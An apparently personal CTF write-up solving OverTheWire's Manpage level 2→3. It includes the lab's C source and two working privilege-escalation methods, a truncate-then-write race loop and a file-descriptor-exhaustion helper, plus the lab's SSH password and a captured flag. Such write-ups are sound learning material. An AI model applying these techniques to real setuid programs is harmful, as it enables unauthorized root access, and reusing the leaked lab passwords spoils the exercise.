OverTheWire Manpage Level 2 → 3 tutorial!!
Login
Use the manpage2 account from the previous level:
ssh manpage2@manpage.labs.overthewire.org -p 2224
# password: ailaifeipu
Goal
We are given two binaries: /manpage/manpage3
and /manpage/manpage3-reset
.
The program compares our input against the contents of /manpage/manpage3_password
.
Normally this file contains 256 random bytes (hard to guess). Our goal is to force the password file into an empty state so that providing an empty string matches and we gain a shell.
Given programs
manpage3
#define PASS_PATH "/manpage/manpage3_password"
int main() {
int rfd = open(PASS_PATH, O_RDONLY);
char buf[256];
char buf2[256];
memset(buf, '\0', sizeof buf);
memset(buf2, '\0', sizeof buf2);
read(rfd, buf2, sizeof buf);
fgets(buf, sizeof buf, stdin);
if(!strcmp(buf, buf2)) {
printf("Wow, you should play the lottery!\\n");
setuid(geteuid());
system("/bin/sh");
}
return 0;
}
manpage3-reset
#define PASS_PATH "/manpage/manpage3_password"
int main() {
FILE *wf;
FILE *rf;
wf = fopen(PASS_PATH,"w");
rf = fopen("/dev/urandom","r");
char buf[256];
fread(buf, 1, sizeof buf, rf);
fwrite(buf, 1, sizeof buf, wf);
return 0;
}
Approach
We need to make /manpage/manpage3_password
temporarily empty so that strcmp("", "") == 0
.
Two possible strategies:
-
Race condition: Continuously reset the password file with
manpage3-reset
and, at the right moment, runmanpage3
while the file is in a wiped state (before random bytes are written). -
File descriptor exhaustion: If
manpage3-reset
fails to open/dev/urandom
(too many files already open), it writes nothing, leaving an empty password file.
Solution 1: Race Condition
Run an infinite loop to reset quickly:
while true; do
/manpage/manpage3-reset
done
Then in another terminal, run:
/manpage/manpage3
Provide Ctrl-D (EOF = empty string) as input. After a few tries (2–4 usually), you’ll hit the window where the password file is empty and drop into a shell.
Solution 2: File Descriptor Exhaustion
Write a small C helper that opens many files until the process hits the limit, then execs manpage3-reset
:
// exhaust.c
#include <unistd.h>
#include <stdio.h>
int main() {
FILE *f;
for (int i = 0; i < 1020; ++i) {
f = fopen("/manpage/manpage3", "r");
}
char* argv[] = { "/manpage/manpage3-reset", NULL };
char* envp[] = { NULL };
execve("/manpage/manpage3-reset", argv, envp);
}
Compile and run:
cc -o exhaust exhaust.c
./exhaust
Now the reset fails to open /dev/urandom
, so it writes nothing to the password file.
Next run:
/manpage/manpage3
Press Ctrl-D → empty string matches → shell spawned.
Flag
Inside the shell you can read the flag. In my run it was:
iaceigicie
Why this works
manpage3-reset
truncates the password file first, then writes random data.- Race condition: If we catch it right after truncate and before write, the password file is empty.
- FD exhaustion: Prevents opening
/dev/urandom
, so nothing is written → empty password. strcmp("", "")
passes, granting us a privileged shell.
Troubleshooting
- Timing off (race method): Keep looping; success is probabilistic.
- FD exhaustion not working: Check
ulimit -n
(default ~1024). Adjust loop count accordingly. - Empty input issue: Use Ctrl-D to send EOF (not an actual space or newline).
Congrats 🎉 You’re now through Level 2 → 3 — classic race condition fun!
Thanks for reading!
Until next time — Otsumachi!! 💖☄️✨